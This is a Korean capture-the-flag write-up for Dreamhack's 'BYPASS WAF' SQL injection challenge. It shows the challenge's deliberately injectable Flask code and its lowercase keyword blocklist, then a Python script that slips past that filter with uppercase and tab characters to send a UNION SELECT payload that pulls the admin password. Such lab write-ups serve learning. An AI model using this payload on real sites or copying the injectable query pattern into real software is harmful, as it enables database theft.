Write up - WEB

Dream Hack - Webhacking - BYPASS WAF

기무진현 2023. 5. 7. 10:59

SQL Injection Bypass WAF에서 실습하는 문제이다. 

문제 코드를 확인해 보겠다.

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

init.sql 파일

확인 가능한 사실 1: user라는 table이 구성됨.

확인 가능한 사실 2: admin의 pw값이 flag값이다.

 

* FLUSH PRIVILEGES: INSERT, DELETE, UPDATE를 통해 사용자를 추가, 삭제, 권한 변경 등을 수행하였을 때 이 변경 사항을 반영하기 위 하여 사용함. grant 테이블을 reload 함으로써 변경 사항을 즉시 반영하도록 함.

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

app.py 파일

index 함수 -  uid 파라미터를 통해 입력 값을 받고, check_WAF 함수의 인자로 전달해 특정 키워드가 포함되어 있는지 검사
HTML을 통해 페이지에 출력하여 실행되는 쿼리를 페이지에서 확인 가능함.

실제로 admin을 입력시 요청이 막힌 것을 확인 가능.

특정 키워드들이 막혀 있기 때문에 이 특정 키워드들의 검사를 우회시켜야 함.

check_WAF 함수의 검사를 우회(키워드 검사)하고 admin의 패스워드를 얻는 것이 핵심이다.

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False

keywords의 문자들이 소문자로 구성: 대문자를 혼용해서 사용

공백문자: 주석을 활용해서 사용 or TAB을 사용함.

from requests import get
url = "http://host3.dreamhack.games:9229"

param = f"'	UNION	SELECT	null,upw,null	FROM	user	WHERE	uid='ADMIN"
response = get(f"{url}/?uid={param}")
print(response.text)

param 원래 구성: UNION SELECT null, upw, null from user where uid = 'admin

 

UNION 구문 예시

UNION 구문: 여러 개의 SQL문을 합쳐 하나의 SQL문으로 만들어주는 방법.

즉 기존의 있던 SELECT * FROM user WHERE uid='{uid}'에서 uid에 위 구문을 삽입하여 upw를 알아낼 수 있는 구문을 추가함.

 

flag값이 출력된 것을 확인할 수 있음(DH{....})

flag 값을 얻을 수 있다.